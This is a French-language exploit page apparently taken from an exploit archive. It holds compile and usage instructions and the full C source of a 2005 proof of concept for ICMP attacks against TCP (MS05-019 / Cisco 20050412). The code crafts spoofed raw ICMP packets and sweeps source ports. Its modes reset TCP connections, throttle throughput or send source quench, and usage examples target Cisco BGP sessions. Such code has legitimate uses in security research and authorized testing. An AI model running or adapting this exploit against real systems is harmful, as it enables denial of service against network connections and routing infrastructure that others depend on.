Exploits/HOD-icmp-attacks-poc.c
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HOD-icmp-attacks-poc.c
Description
Une vulnérabilité existe dans le protocole ICMP, permettant de créer un déni de service (DoS). Les impacts de celui-ci sont de plusieurs nature : réinitialisation des connexions TCP, affectation du taux de bande passante ou augmentation importante de la CPU et de la mémoire.
Systèmes impactés
- Cisco Content Services Switch 11000 Series (WebNS)
- Cisco Global Site Selector (GSS) 4480 1.x
- Cisco IOS 10.x
- Cisco IOS 11.x
- Cisco IOS 12.x
- Cisco IOS R11.x
- Cisco IOS R12.x
- Cisco IOS XR (CRS-1) 3.x
- Cisco ONS 15000 Series
- Cisco PIX 6.x
- Cisco SAN-OS 1.x (MDS 9000 Switches)
- AIX 5.x
- Windows Server 2003
- Windows XP SP2
- Windows XP SP1
- Windows 2000 SP4
- Windows 2000 SP3
Compilation
Win32/VC++
cl -o HOD-icmp-attacks-poc HOD-icmp-attacks-poc.c
Win32/cygwin
gcc -o HOD-icmp-attacks-poc HOD-icmp-attacks-poc.c
Linux
gcc -o HOD-icmp-attacks-poc HOD-icmp-attacks-poc.c
Utilisation
Client/Routeur/Serveur
Pour les environnements du type suivant :
[ CLIENT ] <-----> [ ROUTEUR ] <-----> [ ROUTEUR ] <-----> [ SERVEUR ]
ou :
[ CLIENT ] <-----> [ SERVEUR ]
la syntaxe pour avorter la connextion est :
HOD-icmp.exe -fi:serverIP -ti:clientIP -fp:80 -tp:1023 -a:1
ou (pour affecter les taux de transmission) :
HOD-icmp.exe -fi:serverIP -ti:clientIP -fp:80 -tp:1023 -a:2
Routeur/Routeur
Pour une configuration du type
[ ROUTEUR 1 ] <-----> [ ROUTEUR 2]
la syntaxe est la suivante pour créer un déni de service (DoS) sur les connexions BGP Cisco :
HOD-icmp.exe -fi:routerIP2 -ti:routerIP1 -fp:179 -a:1
ou (pour affecter les taux de transmission) :
HOD-icmp.exe -fi:routerIP2 -ti:routerIP1 -fp:80 -a:2
Code source de l'exploit
/* HOD-icmp-attacks-poc.c: 2005-04-15: PUBLIC v.0.2
*
* Copyright (c) 2004-2005 houseofdabus.
*
* (MS05-019) (CISCO:20050412)
* ICMP attacks against TCP (Proof-of-Concept)
*
*
*
* .::[ houseofdabus ]::.
*
*
*
* [ for more details:
* [ http://www.livejournal.com/users/houseofdabus
* ---------------------------------------------------------------------
* Systems Affected:
* - Cisco Content Services Switch 11000 Series (WebNS)
* - Cisco Global Site Selector (GSS) 4480 1.x
* - Cisco IOS 10.x
* - Cisco IOS 11.x
* - Cisco IOS 12.x
* - Cisco IOS R11.x
* - Cisco IOS R12.x
* - Cisco IOS XR (CRS-1) 3.x
* - Cisco ONS 15000 Series
* - Cisco PIX 6.x
* - Cisco SAN-OS 1.x (MDS 9000 Switches)
* - AIX 5.x
* - Windows Server 2003
* - Windows XP SP2
* - Windows XP SP1
* - Windows 2000 SP4
* - Windows 2000 SP3
* ...
*
* ---------------------------------------------------------------------
* Description:
* A denial of service vulnerability exists that could allow an
* attacker to send a specially crafted Internet Control Message
* Protocol (ICMP) message to an affected system. An attacker who
* successfully exploited this vulnerability could cause the affected
* system to reset existing TCP connections, reduce the throughput
* in existing TCP connections, or consume large amounts of CPU and
* memory resources.
* (CAN-2004-0790, CAN-2004-0791, CAN-2004-1060)
*
* ---------------------------------------------------------------------
* Solution:
* http://www.microsoft.com/technet/security/Bulletin/MS05-019.mspx
* http://www.cisco.com/warp/public/707/cisco-sa-20050412-icmp.shtml
*
* Other References:
* http://www.gont.com.ar/drafts/icmp-attacks-against-tcp.html
* http://www.kb.cert.org/vuls/id/222750
*
* ---------------------------------------------------------------------
* Tested on:
* - Windows Server 2003
* - Windows XP SP1
* - Windows 2000 SP4
* - Cisco IOS 11.x
*
* ---------------------------------------------------------------------
* Compile:
*
* Win32/VC++ : cl -o HOD-icmp-attacks-poc HOD-icmp-attacks-poc.c
* Win32/cygwin: gcc -o HOD-icmp-attacks-poc HOD-icmp-attacks-poc.c
* Linux : gcc -o HOD-icmp-attacks-poc HOD-icmp-attacks-poc.c
*
* ---------------------------------------------------------------------
* Examples:
*
* client <---> router <---> router <---> server
*
* CLIENT <---> SERVER
*
* HOD-icmp.exe -fi:serverIP -ti:clientIP -fp:80 -tp:1023 -a:1
* (abort the connection)
*
* HOD-icmp.exe -fi:serverIP -ti:clientIP -fp:80 -tp:1023 -a:2
* (slow down the transmission rate for traffic)
*
*
* ROUTER1 <---> ROUTER2
*
* HOD-icmp.exe -fi:routerIP2 -ti:routerIP1 -fp:179 -a:1
* (DoS Cisco BGP Connections)
*
* HOD-icmp.exe -fi:routerIP2 -ti:routerIP1 -fp:80 -a:2
* (slow down the transmission rate for traffic)
*
* ---------------------------------------------------------------------
*
* This is provided as proof-of-concept code only for educational
* purposes and testing by authorized individuals with permission
* to do so.
*
*/
/* #define _WIN32 */
#ifdef _WIN32
#pragma comment(lib,"ws2_32")
#pragma pack(1)
#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
/* IP_HDRINCL */
#include <ws2tcpip.h>
#else
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/timeb.h>
#endif
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#define MAX_PACKET 4096
#define DEFAULT_PORT 80
#define DEFAULT_IP "192.168.0.1"
#define DEFAULT_COUNT 1
/* Define the IP header */
typedef struct ip_hdr {
unsigned char ip_verlen; /* IP version & length */
unsigned char ip_tos; /* IP type of service */
unsigned short ip_totallength; /* Total length */
unsigned short ip_id; /* Unique identifier */
unsigned short ip_offset; /* Fragment offset field */
unsigned char ip_ttl; /* Time to live */
unsigned char ip_protocol; /* Protocol */
unsigned short ip_checksum; /* IP checksum */
unsigned int ip_srcaddr; /* Source address */
unsigned int ip_destaddr; /* Destination address */
} IP_HDR, *PIP_HDR;
/* Define the ICMP header */
/* Destination Unreachable Message */
typedef struct icmp_hdr {
unsigned char type; /* Type */
unsigned char code; /* Code */
unsigned short checksum; /* Checksum */
unsigned long unused; /* Unused */
} ICMP_HDR, *PICMP_HDR;
/* 64 bits of Original Data Datagram (TCP header) */
char msg[] =
"\x00\x50" /* Source port */
"\x00\x50" /* Destination port */
"\x23\x48\x4f\x44";
/* globals */
unsigned long dwToIP, /* IP to send to */
dwFromIP; /* IP to send from (spoof) */
unsigned short iToPort, /* Port to send to */
iFromPort; /* Port to send from (spoof) */
unsigned long dwCount; /* Number of times to send */
unsigned long Attack;
void
usage(char *progname) {
printf("Usage:\n\n");
printf("%s <-fi:SRC-IP> <-ti:VICTIM-IP> <-fi:SRC-PORT> [-tp:int] [-a:int] [-n:int]\n\n", progname);
printf(" -fi:IP From (sender) IP address\n");
printf(" -ti:IP To (target) IP address\n");
printf(" -fp:int Target open TCP port number\n");
printf(" (for example - 21, 25, 80)\n");
printf(" -tp:int Inicial value for bruteforce (sender) TCP port number\n");
printf(" (default: 0 = range of ports 0-65535)\n");
printf(" -n:int Number of packets\n\n");
printf(" -a:int ICMP attacks:\n");
printf(" 1 - Blind connection-reset attack\n");
printf(" (ICMP protocol unreachable)\n");
printf(" 2 - Path MTU discovery attack\n");
printf(" (slow down the transmission rate)\n");
printf(" 3 - ICMP Source Quench attack\n");
exit(1);
}
void
ValidateArgs(int argc, char **argv)
{
int i;
iToPort = 0;
iFromPort = DEFAULT_PORT;
dwToIP = inet_addr(DEFAULT_IP);
dwFromIP = inet_addr(DEFAULT_IP);
dwCount = DEFAULT_COUNT;
Attack = 1;
for (i = 1; i < argc; i++) {
if ((argv[i][0] == '-') || (argv[i][0] == '/')) {
switch (tolower(argv[i][1])) {
case 'f':
switch (tolower(argv[i][2])) {
case 'p':
if (strlen(argv[i]) > 4)
iFromPort = atoi(&argv[i][4]);
break;
case 'i':
if (strlen(argv[i]) > 4)
dwFromIP = inet_addr(&argv[i][4]);
break;
default:
usage(argv[0]);
break;
}
break;
case 't':
switch (tolower(argv[i][2])) {
case 'p':
if (strlen(argv[i]) > 4)
iToPort = atoi(&argv[i][4]);
break;
case 'i':
if (strlen(argv[i]) > 4)
dwToIP = inet_addr(&argv[i][4]);
break;
default:
usage(argv[0]);
break;
}
break;
case 'n':
if (strlen(argv[i]) > 3)
dwCount = atol(&argv[i][3]);
break;
case 'a':
if (strlen(argv[i]) > 3)
Attack = atol(&argv[i][3]);
if ((Attack > 3) || (Attack < 1))
usage(argv[0]);
break;
default:
usage(argv[0]);
break;
}
}
}
return;
}
/* This function calculates the 16-bit one's complement sum */
/* for the supplied buffer */
unsigned short
checksum(unsigned short *buffer, int size)
{
unsigned long cksum = 0;
while (size > 1) {
cksum += *buffer++;
size -= sizeof(unsigned short);
}
if (size) {
cksum += *(unsigned char *)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (unsigned short)(~cksum);
}
int
main(int argc, char **argv)
{
#ifdef _WIN32
WSADATA wsd;
#endif
int s;
#ifdef _WIN32
BOOL bOpt;
#else
int bOpt;
#endif
struct sockaddr_in remote;
IP_HDR ipHdr,
ipHdrInc;
ICMP_HDR icmpHdr;
int ret;
unsigned long i, p;
unsigned short iTotalSize,
iIPVersion,
iIPSize,
p2,
cksum = 0;
char buf[MAX_PACKET],
*ptr = NULL;
#ifdef _WIN32
IN_ADDR addr;
#else
struct sockaddr_in addr;
#endif
printf("\n (MS05-019) (CISCO:20050412)\n");
printf(" ICMP attacks against TCP (Proof-of-Concept)\n\n");
printf(" Copyright (c) 2004-2005 .: houseofdabus :.\n\n\n");
if (argc < 3) usage(argv[0]);
/* Parse command line arguments and print them out */
ValidateArgs(argc, argv);
#ifdef _WIN32
addr.S_un.S_addr = dwFromIP;
printf("[*] From IP: <%s>, port: %d\n", inet_ntoa(addr), iFromPort);
addr.S_un.S_addr = dwToIP;
printf("[*] To IP: <%s>, port: %d\n", inet_ntoa(addr), iToPort);
printf("[*] Count: %d\n", dwCount);
#else
addr.sin_addr.s_addr = dwFromIP;
printf("[*] From IP: <%s>, port: %d\n", inet_ntoa(addr.sin_addr), iFromPort);
addr.sin_addr.s_addr = dwToIP;
printf("[*] To IP: <%s>, port: %d\n", inet_ntoa(addr.sin_addr), iToPort);
printf("[*] Count: %d\n", dwCount);
#endif
#ifdef _WIN32
if (WSAStartup(MAKEWORD(2,2), &wsd) != 0) {
printf("[-] WSAStartup() failed: %d\n", GetLastError());
return -1;
}
#endif
/* Creating a raw socket */
s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
#ifdef _WIN32
if (s == INVALID_SOCKET) {
#else
if (s < 0) {
#endif
printf("[-] socket() failed\n");
return -1;
}
/* Enable the IP header include option */
#ifdef _WIN32
bOpt = TRUE;
#else
bOpt = 1;
#endif
ret = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&bOpt, sizeof(bOpt));
#ifdef _WIN32
if (ret == SOCKET_ERROR) {
printf("[-] setsockopt(IP_HDRINCL) failed: %d\n", WSAGetLastError());
return -1;
}
#endif
/* Initalize the IP header */
iTotalSize = sizeof(ipHdr) + sizeof(icmpHdr) + sizeof(msg)-1 + sizeof(ipHdrInc);
iIPVersion = 4;
iIPSize = sizeof(ipHdr) / sizeof(unsigned long);
ipHdr.ip_verlen = (iIPVersion << 4) | iIPSize;
ipHdr.ip_tos = 0; /* IP type of service */
/* Total packet len */
ipHdr.ip_totallength = htons(iTotalSize);
ipHdr.ip_id = htons(42451); /* Unique identifier */
ipHdr.ip_offset = 0; /* Fragment offset field */
ipHdr.ip_ttl = 255; /* Time to live */
ipHdr.ip_protocol = 0x1; /* Protocol(ICMP) */
ipHdr.ip_checksum = 0; /* IP checksum */
ipHdr.ip_srcaddr = dwFromIP; /* Source address */
ipHdr.ip_destaddr = dwToIP; /* Destination address */
ipHdrInc.ip_verlen = (iIPVersion << 4) | iIPSize;
ipHdrInc.ip_tos = 0; /* IP type of service */
/* Total packet len */
ipHdrInc.ip_totallength = htons(sizeof(ipHdrInc)+20);
ipHdrInc.ip_id = htons(25068); /* Unique identifier */
ipHdrInc.ip_offset = 0; /* Fragment offset field */
ipHdrInc.ip_ttl = 255; /* Time to live */
ipHdrInc.ip_protocol = 0x6; /* Protocol(TCP) */
ipHdrInc.ip_checksum = 0; /* IP checksum */
ipHdrInc.ip_srcaddr = dwToIP; /* Source address */
ipHdrInc.ip_destaddr = dwFromIP;/* Destination address */
/* Initalize the ICMP header */
icmpHdr.checksum = 0;
if (Attack == 1) {
icmpHdr.type = 3; /* Destination Unreachable Message */
icmpHdr.code = 2; /* protocol unreachable */
icmpHdr.unused = 0;
} else if (Attack == 2) {
icmpHdr.type = 3; /* Destination Unreachable Message */
icmpHdr.code = 4; /* fragmentation needed and DF set */
icmpHdr.unused = 0x44000000; /* next-hop MTU - 68 */
} else {
icmpHdr.type = 4; /* Source Quench Message */
icmpHdr.code = 0;
icmpHdr.unused = 0;
}
memset(buf, 0, MAX_PACKET);
ptr = buf;
memcpy(ptr, &ipHdr, sizeof(ipHdr)); ptr += sizeof(ipHdr);
memcpy(ptr, &icmpHdr, sizeof(icmpHdr)); ptr += sizeof(icmpHdr);
memcpy(ptr, &ipHdrInc, sizeof(ipHdrInc)); ptr += sizeof(ipHdrInc);
memcpy(ptr, msg, sizeof(msg)-1);
iFromPort = htons(iFromPort);
memcpy(ptr, &iFromPort, 2);
remote.sin_family = AF_INET;
remote.sin_port = htons(iToPort);
remote.sin_addr.s_addr = dwToIP;
cksum = checksum((unsigned short *)&ipHdrInc, 20);
memcpy(buf+20+sizeof(icmpHdr)+10, &cksum, 2);
cksum = checksum((unsigned short *)&ipHdr, 20);
memcpy(buf+10, &cksum, 2);
for (p = iToPort; p <= 65535; p++) {
p2 = htons((short)p);
memcpy((char *)(ptr+2), &p2, 2);
buf[22] = 0;
buf[23] = 0;
cksum = checksum((unsigned short *)(buf+20), sizeof(icmpHdr)+28);
memcpy(buf+20+2, &cksum, 2);
for (i = 0; i < dwCount; i++) {
#ifdef _WIN32
ret = sendto(s, buf, iTotalSize, 0, (SOCKADDR *)&remote,
sizeof(remote));
#else
ret = sendto(s, buf, iTotalSize, 0, (struct sockaddr *) &remote,
sizeof(remote));
#endif
#ifdef _WIN32
if (ret == SOCKET_ERROR) {
#else
if (ret < 0) {
#endif
printf("[-] sendto() failed\n");
break;
}
}
}
#ifdef _WIN32
closesocket(s);
WSACleanup();
#endif
return 0;
}